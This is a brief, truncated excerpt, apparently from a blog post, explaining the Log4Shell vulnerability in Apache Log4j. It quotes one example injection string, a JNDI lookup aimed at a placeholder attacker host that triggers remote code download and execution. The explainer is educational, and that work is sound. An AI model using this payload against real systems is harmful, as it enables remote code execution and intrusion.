Log4Shell Explained (CVE-2021-44228)

Log4Shell is arguably the worst vulnerability in a decade. The Apache Log4j library (Java) allowed remote code execution via a simple log message injection. .NET is not affected, but understanding this is critical for polyglot teams. The Exploit A malicious string like `${jndi:ldap://attacker.com/a}` in a log message triggers a JNDI lookup, downloading and executing a […]

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